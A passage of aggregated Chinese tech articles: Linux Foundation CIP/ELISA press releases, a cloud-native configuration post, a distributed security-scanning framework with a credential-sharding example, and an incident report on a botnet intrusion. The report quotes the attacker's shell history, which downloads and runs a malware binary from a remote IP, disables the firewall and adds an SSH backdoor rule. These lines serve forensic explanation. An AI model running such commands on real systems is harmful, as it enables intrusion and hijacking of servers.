的实际情况对活动规则进行变动或调整，相关变动或调整将公布在活动页面上，并于公布时即时生效；但不影响用户在活动规则调整前已经获得的权益。七、狂欢已“种草”，有问题咨询怎么办？面对如此折扣力度，丰富的促销活动，如果有问题建议一定要提前向云小二询问，避开购买高峰期，售前咨询：95187转1。云小二会为大家提供全方位的购买咨询、精准的配置推荐、灵活的价格方案、1对1的贴心服务。阅读原文本文为云栖社区原创内容，未经允许不得转载。

CIP宣布推出新的超长期支持Kernel，推动自动化、机器学习和人工智能

作者：maemalynn新的CIP SLTS Kernel扩展了支持架构以包含ARM64旧金山 - 2019年2月25日 - 通过工业级开源软件组件、工具和方法实现基础设施系统长期管理的CIP（Civil Infrastructure Platform）项目，今天宣布推出Super Long Term Support（SLTS） Kernel。新内核扩展了对64位Arm®Cortex的架构支持，使开发者能够在各种用例中使用它，包括楼宇自动化、机器学习和人工智能。随着对可靠性、连接性和功能丰富性的要求提高，实施和维护民用基础设施系统所需的软件数量已经增长到前所未有的水平。这些系统是现代社会的基础，无处不在负责全球社区和行业的基础设施监督、控制和管理。有了这些要求，安全性、保安性和可靠性要求面临着独特的挑战，因为需要不断进行更新。CIP由Linux基金会托管，旨在通过工业级软件和通用操作系统加速基于Linux的民用基础设施系统的实施，以现有的开源组织和专业知识为基础，通过提供基础层参考实施，建立事实上的标准，以及有助于并影响有关工业需求的上游项目。“我们每天依靠技术系统来保证我们的安全。这些基于Linux的系统通常需要维护十年以上。”CIP技术指导委员会主席兼东芝公司开源技术部高级经理Yoshitake Kobayashi表示。“对我们来说，更好地准备我们的民用基础设施系统至关重要，SLTS CIP内核使我们在长达数十年的时间里向可持续发展迈进了一步。随着对Arm64的新支持，内核可以应用于更广泛的应用程序，这些应用程序是我们生活的未来支柱。”跨行业合作与发展实时Linux是工业级系统的关键组件。除了实时管理和数据之外，工业系统还需要安全性、保安性和可靠性，这就是为什么CIP计划与Linux基金会新的安全应用Linux启用项目（ELISA）合作的原因。ELISA是一个开源项目，旨在创建一组共享的工具和流程，以帮助公司构建和认证基于Linux的安全关键应用程序和系统，这些应用程序和系统的故障可能导致人命损失、重大财产损失或环境破坏。通过SIL2LinuxMP项目和Real-Time Linux项目完成的工作，ELISA将使公司更容易构建安全关键系统，如使用Linux的机器人设备、医疗设备、智能工厂、运输系统和自动驾驶。“对于在工业和基础设施环境中运行的嵌入式系统所需的安全性、保安性和可靠性，长期维护和支持至关重要。”Linux基金会策略计划高级总监Kate Stewart说。“通过ELISA，我们正在与更广泛的Linux基金会社区合作，如CIP，以使这一举措取得成功。我们期待与CIP及其成员合作，建立流程和工具，以支持基于Linux的安全关键应用程序的认证。”CIP还启动了两个新的工作组来帮助管理开发过程的特定方面。安全工作组将使用各种安全标准来帮助解决网络安全问题。在瑞萨电子的领导下，工作组的重点是供应商使用IEC 62443-4-x标准进行认证，这是工业产品最重要的安全规范之一。他们将通过对各种可用标准进行认证，使CIP平台保持最新，并通过创建明确定义的认证流程，最大限度地缩短供应商的开发时间和成本。软件更新工作组将提供强大的软件更新工具，集成并加强工业级开源基础层。在东芝公司的带领下，工作组将专注于软件架构，将所选软件集成到CIP Core使用的Linux镜像构建工具中，并实现软件更新参考板。CIP由一些世界上最具创新性的行业领导者推动，如Codethink、Cybertrust、日立、Moxa、Plat’Home、瑞萨、西门子和东芝，并与其他开源项目密切合作，如Linux Kernel LTS、Debian Project、KernelCI。许多成员计划支持SLTS CIP内核，包括瑞萨最近发布了RZ/G2 MPU，它将作为Arm64的参考硬件，用于CIP Linux软件包的认证和发布。可以在此处找到CIP SLTS内核的源文件：https://git.kernel.org/pub/sc…其他CIP资源：CIP网站：https://www.cip-project.org/CIP Wiki页面：https://wiki.linuxfoundation….CIP Core：https://www.cip-project.org/b…Board At Desk：https://www.cip-project.org/b…关于CIPCivil Infrastructure Platform（CIP）是由Linux Foundation托管的开源项目。该项目的重点是建立一个工业级软件的开源基础层，以支持使用和实施可重复使用的软件构建模块，以满足工业和民用基础设施的安全性、可靠性和其他要求。有关其他信息，请到https://www.cip-project.org/。KubeCon + CloudNativeCon和Open Source Summit大会日期：会议日程通告日期：2019 年 4 月 10 日会议活动举办日期：2019 年 6 月 24 至 26 日KubeCon + CloudNativeCon和Open Source Summit赞助方案KubeCon + CloudNativeCon和Open Source Summit多元化奖学金现正接受申请KubeCon + CloudNativeCon和Open Source Summit即将首次合体落地中国KubeCon + CloudNativeCon和Open Source Summit购票窗口，立即购票！

程序员如何让自己 Be Cloud Native - 配置篇

前言这是《程序员如何让自己 Be Cloud Native》系列文章的第二篇，从第一篇的反馈来看，有些同学反馈十二要素太形式主义，不建议盲目跟从。作者认为任何理论和技术都需要有自己的观点，这些观点是建立在个体知识体系逐渐锻炼出来的辩别能力之上的。Be Cloud Native这一系列的文章，会基于十二要素为理论基础，加上作者在云计算诞生以来对于架构的演进所观察到的变化去分享自己的一些心得。第一篇：仓库与依赖。「传送门」实例配置这个要素的核心思想就是代码与数据隔离，一开始我们的软件很小很小的时候，我们会可能直接把各种配置、甚至生产环境中的代码直接写在代码中，配置甚至就是代码的一部分？比如以下的这断代码就是这样：public boolean serviceConnectable() { return ping(“edas.console.aliyun.com”, 3); }该方法实现一个本地是否可以连接到远端 server 的功能。如果按照上面的代码进行编写，只能保证在公共云的环境达到想要的效果。该程序如果部署到了一个专有云或者 IDC 的环境中的时候，就需要改代码了。如果改成以下的方式，效果就会截然不同。那时如果程序部署到了一套新的环境中，只需改变edas.server.address 这个配置。@Value(“edas.server.address”)private String remoteAddress;public boolean serviceConnectable() {return ping(remoteAddress, 3);}定义与示例这个例子应该比较贴近大家的日常，我们将上面这个例子往上提升一层，可以做出一个如下的初步定义：应用的行为(Behavior) = 代码(Code) + 输入(Data)。代码是固定的，需要重新编译分发，无法根据环境进行变化的；而输入是活的。上面的例子，就是一个把 Code 中的一部分内容抽离，变成 Data 的过程。做完这个变化之后，应用对变化的适应性就更强了。当然，这些 Data 有些是用户输入的，有些是系统启动时就已经确定的，后者是我们定义的配置，也是我们今天讨论的主题。从这个层面(Data)说起来，配置其实可以包含很多种，以 Java 语言为例，至少分为以下几种：代码中的文件配置: *.properties 文件。机器上的文件配置 *.properties 文件。通过 -D 参数指定的启动参数。环境变量。配置管理系统，简单的有 DB；比较流行的领域产品如 Nacos、ZooKeeper、ectd 等。选择多了，貌似世界就不那么美妙了，因为我们总是会陷入到“用什么”和“为什么”中去。作者的观点是，在用什么之前，先弄清楚需求层面的两点：隔离粒度：每个版本不一样？每台机器不一样？每个进程不一样？安全性：运维人员可见？开发人员可见？还是都不应该可见？仔细讨论上述两点之前，我们举几个关于配置的例子：程序版本号：从代码 Release (build) 开始，基本上就确定了；这一类配置基本上不存在变化的可能，即这一类配置的隔离粒度等同于 Code 。某个前端组件的版本号：前端版本号有一个特点，就是变动很频繁，尤其是在上线的过程中，发布三四个版本是很常见的现象；而且在上线的过程中，一般都会先灰度验证，再进行现网发布。所以这类配置需要具备一个特点就是，可灵活变动与可按照环境（不同机器、不同流量）粒度发布。服务器端口号：服务器的端口号是需要和进程绑定的，尤其在某些微服务场景；同一个服务，如果部署在同一台机器上，必须准确的告知其他服务本服务的确切的地址和端口。数据库元信息配置：这种配置，同一套环境中的相同服务会是一样的，而且其真实的值隐藏的越深越好，其他还有某些 AK/SK、用户名密码之类，每套环境会不一样，同时不同的产品对待这类配置的安全性要求也可能不一样。归纳通过上面例子简单的论述，我们大致可以把相关的配置做如下的归类：配置项所在位置隔离性安全性代码文件控制不同版本的软件行为，等同于代码、基本不会改动所有有代码权限的人员都可见机器上的文件机器环境级别的隔离可根据文件的系统权限灵活设置可见性启动参数进程级别隔离能进入系统便可见环境变量可根据容器、系统、用户、进程进行非常灵活的搭配可设置到系统用户级别配置管理系统程序员可自由编程实现，一般是服务级别的隔离性取决于不同产品的实现，有的方案可以做到安全性最好这里作者想额外强调的是安全性这一个点，尤其某些金融场景。原生的配置方式，如果不做代码的改动的话，都无法做到很高的安全性，但是在一些分布式产品中，尤其是一些云产品内部，就可以做到很安全，具体可以参考下图：以 Nacos 的云上实现 ACM 为例，对上图进行一个简单的阐述。一般的程序读取配置方式如左图，当执行启动脚本后，应用程序从脚本中设置的环境变量、文件或启动参数中获取配置。这些方式可以满足大部分的场景，但是如果你的应用是一个分布式的大集群，这个时候如果想改一个配置是不可能在机器上配置的，然后一台台的区修改，此时我们需要一个支持大集群的分布式配置服务来支持。开源的配置中心有很多，如 ZooKeeper、etcd、Nacos 等。但是有一种场景，一般意义上的配置中心也是满足不了的，那就是诸如数据库密码这一类安全性要求很高的配置。这类在云上会有一些很好的实现，以上图右边为例解释一下在云上是如何做到的：当用户往配置服务中写入一个配置时，会先使用加密服务进行加密，图中的 A。如果有客户端需要，将相应的加密数据推往对应的客户端，图中的 B。客户端收到数据，会根据机器上的_云角色_，请求云加密服务进行解密，图中的 C。从上面这个描述，我们就能很感受到整个过程，利用云生态的能力，可以做得很优雅、很安全，而且也没有额外的代码侵入。总结写到这里，我需要点一下题，要做到 “Be Cloud Native” ，配置是必不可少的一个环节。能让我们的世界变得稍微美好点的方式之一，就是把每个硬编码的字符，变成一个个可运维、安全的配置。同时在云上，我们会看到有不一样的、更加优雅、更安全、成本更低的解决方案。配置的安全无小事，一时图简单省事，可能就会造成生产级别的敏感信息、甚至 DB 的泄露。Be Cloud Native 的另外一层意思，正是尽可能多的利用云厂商提供的原生技术能力，来构建一个更安全、优雅、可扩展、高可用的应用架构。本文作者：中间件小哥阅读原文本文为云栖社区原创内容，未经允许不得转载。 ...

Linux基金会启动ELISA项目赋能Linux在安全关键系统中使用

Arm、BMW Car IT GmbH、KUKA、Linutronix和Toyota加入ELISA项目，推动交通、制造、医疗保健和能源行业的开源功能安全旧金山，2019年2月21日 - Linux基金会今天发布了ELISA（Enabling Linux in Safety Applications）开源项目，以创建一组共享的工具和流程，帮助公司构建和认证基于Linux的安全关键应用程序和系统。安全关键应用程序和系统的失败可能导致人命损失，重大财产损失或环境破坏。通过SIL2LinuxMP项目和Real-Time Linux项目完成的工作，ELISA将使公司更容易使用Linux构建安全关键系统，如机器人设备、医疗设备、智能工厂、运输系统和自动驾驶。ELISA的创始成员包括Arm、BMW Car IT GmbH、KUKA、Linutronix和Toyota。要获得信赖，安全关键系统必须满足系统整体安全的功能安全目标，包括如何响应用户错误、硬件故障和环境变化等操作。公司必须证明其软件符合对可靠性、质量保证、风险管理、开发过程和文档的严格要求。由于没有明确的Linux认证方法，因此公司很难证明其基于Linux的系统符合这些安全目标。“包括能源、医疗和汽车在内的所有主要行业，都希望将Linux用于安全关键型应用，因为它可以使产品更快地推向市场，并降低关键设计错误的风险。挑战之一是缺乏明确的文档和工具，以证明基于Linux的系统满足认证的必要安全要求。”Linux基金会战略计划高级总监Kate Stewart说。“过去解决这个问题的尝试缺乏建立广泛讨论和接受的方法所需的临界质量，但随着ELISA的启动，我们将能够利用更广泛的Linux基金会社区的基础设施和支持来实现这一目标。”ELISA将与多个行业的认证机构和标准化机构合作，确定Linux如何用作安全关键系统的组件。该项目还将定义和维护一组通用的元素、流程和工具，这些可以整合到基于Linux的安全关键系统中，以适应安全认证。其他项目目标包括：开发参考文档和用例。教育开源社区安全工程最佳实践，并教育安全社区开源概念。通过开源社区实现持续反馈，以改进流程，实现质量评估和保证的自动化。支持成员对与其系统相关的关键组件进行事故和危险监控，并为成员响应团队建立最佳实践。有关ELISA的更多信息，请到elisa.tech。KubeCon + CloudNativeCon和Open Source Summit大会日期：会议日程通告日期：2019 年 4 月 10 日会议活动举办日期：2019 年 6 月 24 至 26 日KubeCon + CloudNativeCon和Open Source Summit赞助方案KubeCon + CloudNativeCon和Open Source Summit多元化奖学金现正接受申请KubeCon + CloudNativeCon和Open Source Summit即将首次合体落地中国KubeCon + CloudNativeCon和Open Source Summit购票窗口，立即购票！

【须弥SUMERU】宜信分布式安全服务编排实践

概要1.分布式安全服务编排概念2.须弥(Sumeru)关键实现思路 3.应用场景前言在笔者理解，安全防御的本质之一是增加攻击者的攻击成本，尤其是时间成本，那么从防御的角度来说，如何尽早和及时地发现潜在的安全风险变得尤为重要，因此安全扫描对时效性要求很高。在进行自身检测的同时，数以万计攻击者也在时刻探测着你的安全风险，乐观者可能不以为然，但事实上做安全就是木桶原理，短板是攻击者的首选。如果加上验证程序开发和落地的时间开销，可能又会造成一定的发现时延。有时候出了问题，就要与时间赛跑，及时避损或止损。另外，分布式技术一直以来被用于解决单机性能瓶颈，而且像漏洞扫描器这类安全产品开发者对分布式这个概念也一直有着很深的执念，因为在漏报率和误报率达到某种瓶颈之后，扫描速度成为了另外一个突破口。安全扫描周期较长也是我们在之前实际工作中遇到的痛点，加上安全防御是整个面而不是单个点，所以想要形成面，需求真的是不要太多，所以扫描工具研发和运维成本较高的问题也同样令人头秃，借此，本文为大家介绍宜信安全团队应用分布式安全服务编排的实践经验，虽说依然存在许多不足之处，但也达成了不少预期效果，总之，希望大家能有所收获或参考。需求简述缩短安全扫描周期举例：端口扫描周期较长，目标：10000+个IP ，全端口+服务指纹扫描，从7小时优化到30分钟内。Masscan 做端口扫描要保持稳定的速率（根据实际不同的网络环境而定），否则会造成大量的漏报，所以单机多进程方案并不可靠。充分发挥服务器I/O和计算资源降低扫描工具研发和运维成本提供应用开发机制，支持一键导入导出和版本管理。通过可视化操作，将安全任务灵活编排成扫描流程。满足日常需求快速上线和迭代，如情报收集，目标监控，特定扫描等等提供SDK和Restful API ，方便其他平台进行调用安全服务编排有的同学可能对安全服务编排比较陌生，先来简单解释下：服务编排是微服务体系里的概念，编排（Choreography）指通过消息的交互序列来控制各个部分资源的交互。而参与交互的资源都是对等的，没有集中的控制。安全服务编排我们可以理解为通过一系列独立安全服务相互调用构成的工作流，如下图所示，每一个方框都代表着一个独立的安全服务，通过互相调用，形成了一个完整工作流。通常，安全风险检测就是一个完整工作流，而不是单一的功能模块，如上图所示，我们做端口扫描的目的除了用于检测高危暴露端口之外，还会用于作为弱口令扫描，PoC扫描等等的扫描目标，扫描完之后可能还需要继续进行过误报处理或通知告警等行为。现实中开源和商业的安全产品(工具)数量都很多，功能也比较参差不齐，我们大多需求都是希望能将他们部分功能进行组合，所以我们的做法是将安全产品(工具)抽象成应用形式的安全服务，举例来说，业界比较出色的两款端口扫描工具都具备各自的优势：Masscan，高速无状态端口扫描Nmap，具备丰富服务指纹扫描我们如何将这两种工具的特性结合为我们所用？现有常见的做法一般是通过像Python这种胶水语言把他们粗暴地整合在一起，而这样一来，出现了整合成本较大的问题，具体来说主要有两方面：难以灵活组合以及复用扫描规模受限而另外一种情况，具备自研能力的甲方团队，由于研发成本的考虑，大多都采用了开源工具进行二次开发，所以将工具们通过编码的方式深度集成，带来的开发代价是无疑是巨大的，那么有没有稍微优雅一些的解决方案呢？下面我们来看看编排的特点：编排的关键在于流程+适配,流程是将各个任务串成一个工作流适配是把任务之间的数据打通看起来编排似乎能解决我们的一部分问题，为了更为方便地实现和验证上述概念，我们使用Python开发了须弥Sumeru分布式任务调度框架，须弥脱胎于宜信的分布式扫描器摘星，将底层分布式任务执行逻辑进行抽离。须弥Sumeru实现了可视化拖拽的编排概念，无论是在设计阶段还是结果展示阶段我们都可以通过一个树形结构来观察我们的任务执行情况，下图为须弥任务编排的编辑界面截图，可以将不同的应用通过拖拽的方式进行任意编排，下图就是一个日常的综合扫描计划任务，将IP解析，Masscan端口扫描，Nmap服务指纹扫描，敏感目录扫描，PoC扫描整合成了一个完成的工作流：同时提供了树形结果展示界面，会实时刷新任务执行状态，为用户提供一个直观的任务执行概况，不同的任务状态会体现在点的颜色上:须弥Sumeru分布式任务框架实现思路根据Imperva对GitHub代码库的调查数据表明，目前的GitHub代码库中，有超过20%的网络攻击工具或PoC代码都是采用Python编写的，Python变成了黑客开发网络攻击工具时的首选语言。须弥承载了一些已有工作的优化期待和对之后工作的愿景，同时也参考了很多已有的分布式任务调度框架如Python实现的Celery,Java实现的XXL-job 和 Elastic-job等，发现并没有能很好满足我们的需求。同时，很大部分常用的开源安全工具都是由Python实现或有Python实现的调用类库，所以基于Python实现的分布式任务调度框架成为了须弥的目标定位，下面为大家介绍比较关键的几个功能点，同时贴出功能架构图供大家参考。应用-安全即服务（Security as a Service）重新创造一个已有的或是已被其他人优化的基本方法，在业界大家都称之为造轮子，所以复用的意义即如何避免重复造轮子，也就是将重复性的工作更通用地抽象出来，我们的需求很简单，就是将功能各异的工具变成可复用的轮子,这与微服务的思想如出一辙，但又有稍许不同，光有轮子还不行，我们需要让轮子转起来，先说说我们如何将轮子转起来, 关键的步骤主要有两点：转化，即应用开发— 将第三方工具的交互接口抽象成应用。组装，即编排设计— 设计应用之间的调用关系。应用开发是落地实施的第一步，所以须弥设计了应用中心的功能，方便对应用进行版本管理和分发，同时提供应用一键导入导出。如应用中心截图所示：应用的概念让安全服务或工具具有独立性，更适合进行维护和开发迭代。核心实现：任务分片和失效转移（Failover）这里提到了传统分布式任务调度框架实现过程中很关键的两个概念:任务分片和失效转移，前者为了提升性能，后者为了提高可用性。任务分片任务分片就是将一个较大规模的任务进行更细力度的数据并行，来提升整个系统的吞吐量，对分布式性能的提升起到了至关重要的作用。那么到底什么是任务分片呢？我们下面举个例子来说明一下：假设我们有2个扫描目标IP：192.168.1.1 , 192.168.1.2 ，2个用户名：admin,guest，2个密码：123456,111111，如下所示：target 192.168.1.1 , 192.168.1.2username admin,guestpassword 123456,111111如果设置了切片选项，Sumeru会使用笛卡儿积计算来支持任务分片，分片后：2 2 2 = 8 共8个分片192.168.1.1，admin ，123456192.168.1.1，admin ，111111192.168.1.1，guest ，123456192.168.1.1，guest ，111111192.168.1.2，admin ，123456192.168.1.2，admin ，111111192.168.1.2，guest ，123456192.168.1.2，guest ，111111如果没有分片，这8个任务只能作为一个整体，无法分配到各个执行节点上分布式执行，而且无法更细粒度地进行失效转移，任务分片后，须弥会根据编排和分片结果生成一个用于保存任务状态的任务树，并根据基于负载均衡等多种调度算法来进行任务分配执行节点。失效转移失效转移(Failover) 又称故障切换，指系统中其中一项设备或服务失效而无法运作时，另一项设备或服务即可自动接手原失效系统所执行的工作，在须弥用于保障任务执行过程中的执行状态。我们设计以下两种情况会触发失效转移，如下图所示（红色代表异常状态）:任务出现异常，包括任务管理器捕获的异常和用户主动抛出的异常。执行节点出现异常。我们这里有一个实际应用场景，实现了自适应内外网域名端口扫描，后文会有介绍。Sumeru还支持设置超时，如果超出指定时限会被视为任务出现异常，防止任务由于未知原因导致的挂起。守护模式守护任务模式，适用于对外提供服务的场景，如风控规则引擎这类，是基于数据并行的数据处理类应用，分布式节点会明显提高其性能。具体来说就是守护进程（线程）模式，用户可以根据实际场景来选择线程或进程模式，所以我们统称为守护模式。常规任务一般是一次执行完毕或周期性计划任务执行，而在一些场景下，我们却希望任务一直保持运行状态，对外提供服务类应用（如被动扫描的代理应用，提供HTTP服务应用），像实时数据处理类应用（如风控规则引擎），与常规任务不同的是，我们要能尽可能地保证这些任务的存活状态，如果任务勾选了守护模式，调度中心会保证该任务在分组内有且只有一个任务实例运行，如果节点出现异常，将会进行失效转移到其他节点。须弥提供了分发选项，如果勾选，将会在节点分组内每个节点上保证有且只有一个任务实例。其他特性其他特性也简单做一下列举：基于ETCD实现的Scheduler - HA，为保证整个调度中心的高可用，我们基于分布式K-V系统ETCD进行了高可用实现并发支持:提供线程和进程不同粒度任务执行秒级计划任务,支持自定义计划任务扩展(如@hourly,@weekly)提供应用开发套件：基类，调试，部署，版本管理提供SDK和RestfulAPI 以及完整的授权机制支持邮件通知，数据备份，日志ElasticSearch接入等异步实现Python2/3兼容支持Web控制台形式查看执行日志查看，如下图所示：其他特性包括任务生命周期的管理，应用可用性检测，安全通信等，限于篇幅不此详述。应用场景举例须弥在设计之初就是为了解决一些场景下的问题，所以也将这些应用场景简单做下介绍。1、端口扫描为任务分片提升扫描性能性能提升 : Python的性能确实比较低，但大多是计算密集型的场景会产生瓶颈，像安全扫描这种IO密集型的还是不会产生太大的影响，在前文已经介绍过分片的原理，这里我们拿具体数据来测试一下，切片+分布式的性能提升状况。我们拿端口扫描为例，10000+个IP ，进行全端口+服务指纹扫描，如图所示，节点{1,3,6,9}分别耗时{25220.28, 5386.728 , 3076.681 ,1624.101} (秒), 优化到之前时间消耗的6.4%。2、失效转移自适应网络环境扫描过程中遇到某个节点网络不通或网络不稳定的情况，会转移到同分组内其他节点继续执行，直到所有任务可以正常运行,如下图所示。3、需求快速上线须弥提供了一套完整的应用快速开发和上线流程。现有大多数甲方的安全平台实际需求都是综合性比较强的平台，所以常常被做成一个大而全的工具集合，大多包括扫描工具（Web扫描，被动扫描，主机扫描，端口扫描，Git泄漏扫描），威胁情报，知识库等等。大而全的同时，也带来的维护成本的增加，比如突然新来一个需求：监控暗网交易情报，乍一看属于威胁情报，但又与原来的威胁情报格式，使用和部署方式都完全不一样。开发小哥可能只能无奈地在威胁情报的子菜单里新增一个功能，埋头去开发了。这样的需求不在少数，最后整个平台越来越臃肿难以维护。如果使用应用开发方式，我们可以将功能抽象成一个应用，只需进行应用编写，上线分发，远程调用即可，把服务和平台二者分离出来，同时也更加方便团队协同的维护。须弥提供的Restful API使得应用作为服务集成在CI/CD(持续集成/持续部署)的过程中更加容易，使用Python来实现，对Python生态支持也比较友好。如果有同学遇到比较合适的场景的话，欢迎与我们一起多多交流。总结能避免重复造轮子，能将一部分精力集中在业务专业能力的提升上是我们的初衷，须弥将分布式安全服务编排的思想基本上都实现了，性能和稳定性上的还有不小的提升空间，期待它能发挥更多的价值。感谢一起付出努力的小伙伴们！本文之后会有同事继续分享相关内容，敬请期待。作者微信号: lfzark (添加请注明来意)，欢迎大家一起交流，共同进步。一个想法的落地需要一系列的技术和资源的去支撑，在甲方公司的安全部门沉下心来打磨安全产品实为不易，感谢那些甚至做出媲美乙方产品的大神们，为我们提供学习的榜样。宜信安全应急响应中心（CESRC）网址为：https://security.creditease.cn，该平台旨在集合安全领域的专家、社会团体及个人共同发现潜在的漏洞信息，为宜信全线产品和业务安全保驾护航，促进白帽子、安全团队和安全爱好者们与宜信的直接交流与合作，减少、降低可能存在的各类安全隐患。宜信技术学院

一次被僵尸网络病毒攻击的过程

事件背景回想起来应该算是去年的事情了, 时值 2019 年 1 月 24 日早上, 当时我正忙碌于开发手头的一个珠宝分销系统项目, 由于已经进行了多日封闭式开发, 项目初见效果, 准备放到内网服务器 A 上跑跑看. 项目的一些功能需要通过公网才能访问, 于是便打算通过一台之前就架设在公网的服务器 B上做 SSH 端口转发, 将服务器 A 指定端口映射到服务器 B 上. 多次尝试服务器账号密码进行 SSH 连接, 发现居然一直无法连上, 怕是被其它同事改了密码, 但是询问下发现其它人也无法连上.初步分析首先, 不可能是服务器物理机宕机, 因为服务器 B 根本不是一台真正的物理机, 而只是用 Vmware 开出来的一台虚拟机, 由于配置了外网地址的虚拟网卡, 所以可以通过外网访问. 这里说一下, 公司的网络平时都是跑在内网的, 有前辈写好的(也有可能是买其他公司的)的网络管理服务端, 项目本身也只允许跑在内网服务器, 需要外网访问只好用穿透技术. Vmware 的稳定性还是很好的, 上面的其他服务器仍然坚挺. 好在 Vmware 拥有虚拟机的直接控制权限, 发现依然可以使用 root 用户登录服务器 B, 这说明服务器密码尚未修改, 只是 SSH 出于什么原因挂了, 导致无法通过远程 SSH 登录.直接在 Vmware 管理界面用 root 用户登录, 通过ps auxf命令发现 sshd 进程依然跑得好好的, 最近的 updatetime 是很久之前. 另外, 可以通过ping命令得到服务器的回应. 查看路由器的流量数据, 发现这台服务器居然在短短的 10 多天内有近 3TB 的上传流量. 而这台服务器作为跳板机根本没跑什么其它高流量的服务, 显然这台服务器是被攻击了.先使用netstat -anp命令查看 TCP 连接情况, 发现这台服务器已经和182.100.67.***, 和 23.234.14.两台意义不明的服务器建立了连接, 查看 whois 发现 182.100.67.是属于江西新余的IP, 而23.234.14.居然是美国洛杉矶的. 看来攻击者为了攻击花了不少心思, 寻思用匿名的跳板机来混淆视线. 介于此时已经无法使用 SSH 远程登录, 攻击者应该是针对 sshd 做了什么动作, 攻击者八成是已经拿到 Shell 了, 而且由于监测到异常流量, 攻击者应该是在这台服务器中跑了什么病毒进程, 无奈ps auxf 列出的进程较多, 很多还是系统进程, 一时不好判断哪个是病毒进程. 查看 user 发现除了 root 没有新的用户被新建, 就打算用history看看会不会记录攻击者的攻击痕迹, 结果是, 居然没有.发现攻击方式但是要注意到 linux 的history是会话隔离的, 同一个用户用不同的会话登录, 不同的会话有不同的命令历史, 只有在所有会话关闭之后才会将不同会话的历史合并, 比如:session A:$ echo session_a$ history 1 echo session_a2 history# 不关闭 session A, session B 无法拿到 session A 的历史session B:$ echo session_b1 echo session_b2 history# 关闭 session A 和 session B 之后打开 session C:session c:$ history1 echo session_a2 history3 echo session_b4 history也就是说, 如果攻击者仍然与这台服务器保持着 SSH 连接, 是无法看到命令行历史的. 于是重启 sshd 进程强制中断连接. 再次连接, 这时发现了不得了的事情, 下面是攻击者的关键命令行历史(一些无用的命令删掉了):56 shutdown -h now57 netstat -anp|grep 44358 vi /etc/ssh/sshd_config 59 service sshd restart60 netstat -anp|grep 44361 kill 232264 ifconfig65 tcpdump -i ens160 port 443 -nn -s0 66 systemctl status firewalld 67 systemctl stop firewalld68 systemctl disable firewalld71 netstat -anp|grep ssh72 kill -9 239673 netstat -anp|grep ssh89 service sshd restart90 cd /usr/bin91 wget http://23.234.14.:12345/servicese92 chmod 777 servicese93 ./servicese96 ifconfig97 iptables -I INPUT -p tcp –dport 22 -j DROP98 iptables -I INPUT -s 182.100.67. -p tcp –dport 22 -j ACCEPT看这些命令, 操作很流畅.首先 vi /etc/ssh/sshd_config 修改 sshd 配置, 估计攻击者意图查看 sshd 的连接方式.然后查看运行在 443 端口的进程并杀死, 这很奇怪, 印像中这服务器当初并没有在 443 跑什么东西, 攻击者为了保证 443 没有连接还用tcp dump抓取网卡的 443 端口的包.之后攻击者关闭了防火墙firewalld.攻击者再次重启了 sshd.关键的地方, 攻击者开始注入病毒程序, 进入/usr/bin, 使用wget从http://23.234.14.:12345把病毒程序servicese下载, 更改权限为777使程序能够被执行, ./servicese运行病毒程序.可耻的地方, 攻击者之前关闭了firewalld防火墙, 这里居然使用iptables加入 IP 限制, 把所有连接到 22 端口的 TCP 连接都拒掉, 即: iptables -I INPUT -p tcp –dport 22 -j DROP, 这直接导致之前无法通过 ssh 远程连接上, 但是攻击者留了一个后门, 就是允许182.100.67.*这个 IP 通过 22 端口进行 ssh 连接, 也就是之前查到的江西新余的 IP.现在攻击者的攻击方式很明了, 看起来攻击者并没有想象中的高明, 也从进程中找到了servicese进程, 说实话, servicese这个程序名还是有点意思的, 因为和系统的守护进程service长得比较像, 导致无法一眼看出这个程序有什么不对劲. 后面用 nmap 对美国的 IP 和新余的 IP 进行端口扫描了一下, 发现新余机子是一台 windows2008, 确实应该是攻击者用来攻击并连接的服务器, 而美国的服务器只是一个 http 服务器, 提供病毒程序的下载源地址. 发现被攻击的时候, http://23.234.14.:12345依然可以访问, 可以直接从那里下载病毒程序, 不过现在是被攻击者主动关闭, 无法访问.那么攻击者是如何拿到服务器的权限呢? 说起来也有点丢人, 猜测应该是暴力破解了. 因为这台服务器平时只是作为跳板机, 所以连接密码是弱密码, 很容易通过彩虹表或者试错猜出来. 这里告诫各位: 代码千万行, 安全第一条, 密码太弱鸡, 开发两行泪.分析病毒样本现在要确定病毒程序servicese到底对服务器做了什么. 使用tail命令查看servicese二进制文件的最后几行的内容, 发现了:gnu_cxx15__mt_alloc_baseIjE9constructEPjRKj_ZNSt13runtime_errorC1ERKSs_nl_load_locale_from_archivewctrans_ZTS8CSubTask_ZNKSt12_Vector_baseIP14CThreadHttpGetSaIS1_EE13get_allocatorgnu_cxx15,runtime_error,Vector_baseIP14CThread等词直接表明这是一个使用 CPP 编写的程序, 于是采用 C 语言强大的反编译神器 IDA 对源程序进行反编译, 看能不能找到什么线索. 这里注意, 当病毒程序被从服务器拷贝到本地 windows 的时候, 直接就被 windows defender 给清理掉了, 可见这应该是一个已经被记录在案的病毒程序.我并不打算详细说 IDA 的分析过程, 只是在审查病毒程序的函数时发现了名为MainBeikong的函数, 然后网上一搜, 就发现了 360 团队发出的这篇文章:某僵尸网络被控端恶意样本分析. 这篇文章描述的病毒样本和我手上的这个病毒程序有惊人的相似度:都是 1223123 字节, 但是 MD5 貌似不一样, 我这边的是cde16928b968cb087c961a258ba45442, 文章给出的是 EFF1CB4E98BCC8FBCBDCA671D4C4A050, 应该是有改动;使用readelf获得的源代码文件名完全一致;病毒的攻击目标相似: 网络中bot节点多是一些存在弱口令或软件漏洞的 linux 主机, 这台服务器属于弱口令目标.攻击后端症状相似, 病毒在获得服务器控制权后会执行对外 DDOS 攻击, 也就是说此时服务器称为了攻击者的肉鸡, 攻击者可以使用服务器的 CPU 资源和网路资源对其它服务器进行流量攻击, 其攻击力度可以参考 360 团队那篇文章描述的, 这也就是为什我这边的路由器会有高额的异常流量.下面是readelf的结果:正如 360 团队那篇文章所言:通过此样本可以发现黑产团队的 DDoS 攻击实力已经到了"比较娴熟"的地步, 而根据样本中不同部分的不同代码风格猜测黑产团队可能存在多人多团队合作的编程方式或"黑吃黑"的代码盗用情况可见现在的互联网攻击确实不容小觑, 必须时刻注意安全问题.事后解决方案在了解到了该病毒程序的主要功能之后, 自然是不能让它继续作恶了, 在和同事交流之后决定采用比较彻底的方式: 把相关的攻击细节备份留作警示后直接关闭这个 Vmware 的虚拟机, 然后新开一台虚拟机代替原来的, 新的服务器不采用 ssh 账号密码登录, 而是直接采用证书的形式访问. 也就是编辑/etc/ssh/sshd_config为:PasswordAuthentication no然后为服务器生成证书, 详细过程可以参考: 设置 SSH 